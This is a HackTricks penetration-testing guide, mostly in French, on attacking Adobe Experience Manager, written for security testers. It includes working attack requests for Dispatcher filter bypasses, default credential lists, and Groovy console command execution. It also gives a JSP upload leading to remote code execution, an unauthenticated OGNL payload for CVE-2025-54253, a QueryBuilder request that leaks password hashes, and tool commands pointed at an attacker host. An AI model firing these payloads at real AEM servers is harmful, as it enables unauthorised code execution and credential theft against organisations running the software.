AEM (Adobe Experience Manager) Pentesting

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) est un CMS d’entreprise qui s’exécute sur Apache Sling/Felix (OSGi) et un Java Content Repository (JCR). Du point de vue d’un attaquant, les instances AEM exposent très souvent des dangerous development endpoints, des règles Dispatcher faibles, des default credentials et une longue traîne de CVEs qui sont patchées chaque trimestre.

La checklist ci-dessous se concentre sur externally reachable (unauth) attack surface qui revient fréquemment dans des engagements réels (2022-2026).

1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Autres indicateurs rapides :

• /etc.clientlibs/ static path present (retourne JS/CSS).
• /libs/granite/core/content/login.html page de connexion avec la bannière “Adobe Experience Manager”.
• </script><!--/* CQ */--> commentaire en bas du HTML.

2. High-value unauthenticated endpoints

Dispatcher bypass tricks (still working in 2025/2026)

La plupart des sites de production sont derrière le Dispatcher (reverse-proxy). Les règles de filtrage sont fréquemment contournées en abusant de caractères encodés ou d’extensions statiques autorisées.

Classique point-virgule + extension autorisée

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.

3. Configurations erronées courantes (encore présentes en 2026)

1. Servlet POST anonyme – POST /.json avec :operation=import permet de planter de nouveaux nœuds JCR. Bloquer les POST vers *.json dans le Dispatcher corrige le problème.
2. Profils utilisateurs lisibles par tous – l’ACL par défaut accorde jcr:read sur /home/users/**/profile/* à tout le monde.
3. Identifiants par défaut – admin:admin, author:author, replication:replication.
4. WCMDebugFilter activé ⇒ XSS réfléchi via ?debug=layout (CVE-2016-7882, encore trouvé sur des installations legacy 6.4).
5. Groovy Console exposée – exécution de code à distance en envoyant un script Groovy :

curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

6. Faille d’encodage de slash du Dispatcher – /bin/querybuilder.json et /etc/truststore.json accessibles avec %2f/%3B même lorsqu’ils sont bloqués par les filtres de chemin.
7. AEM Forms Struts devMode laissé activé – /adminui/debug?expression= évalue OGNL sans auth (CVE-2025-54253) conduisant à une RCE non authentifiée ; couplé à XXE dans la soumission Forms (CVE-2025-54254) permet la lecture de fichiers.

4. Vulnérabilités récentes (cadence des service-packs)

Always check the APSB bulletin matching the customer’s service-pack and push for the latest 6.5.24 (Nov 26, 2025) or Cloud Service 2025.12. AEM Forms on JEE requires its own add-on hotfix 6.5.0-0108+.

5. Extraits d’exploitation

5.1 RCE via contournement du Dispatcher + upload JSP

Si l’écriture anonyme est possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Faites une requête vers /content/evil.jsp – le JSP s’exécute avec l’utilisateur du processus AEM.

5.2 SSRF to RCE (historical < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py from aem-hacker automatise la chaîne complète.

5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

Si vulnérable, le corps HTTP contient la sortie de la commande.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Renvoie les nœuds utilisateur incluant les rep:password hashes lorsque les ACL de lecture anonymes sont par défaut.

6. Outils

• aem-hacker – script Swiss-army d’énumération, supporte dispatcher bypass, SSRF detection, default-creds checks et plus.

python3 aem_hacker.py -u https://target --host attacker-ip

• Tenable WAS plugin 115065 – Détecte QueryBuilder hash disclosure & encoded-slash bypass automatiquement (publié Dec 2025).
• Content brute-force – effectuer des requêtes récursives vers /_jcr_content.(json|html) pour découvrir des composants cachés.
• osgi-infect – upload d’un bundle OSGi malveillant via /system/console/bundles si creds disponibles.

Références

• Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
• BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.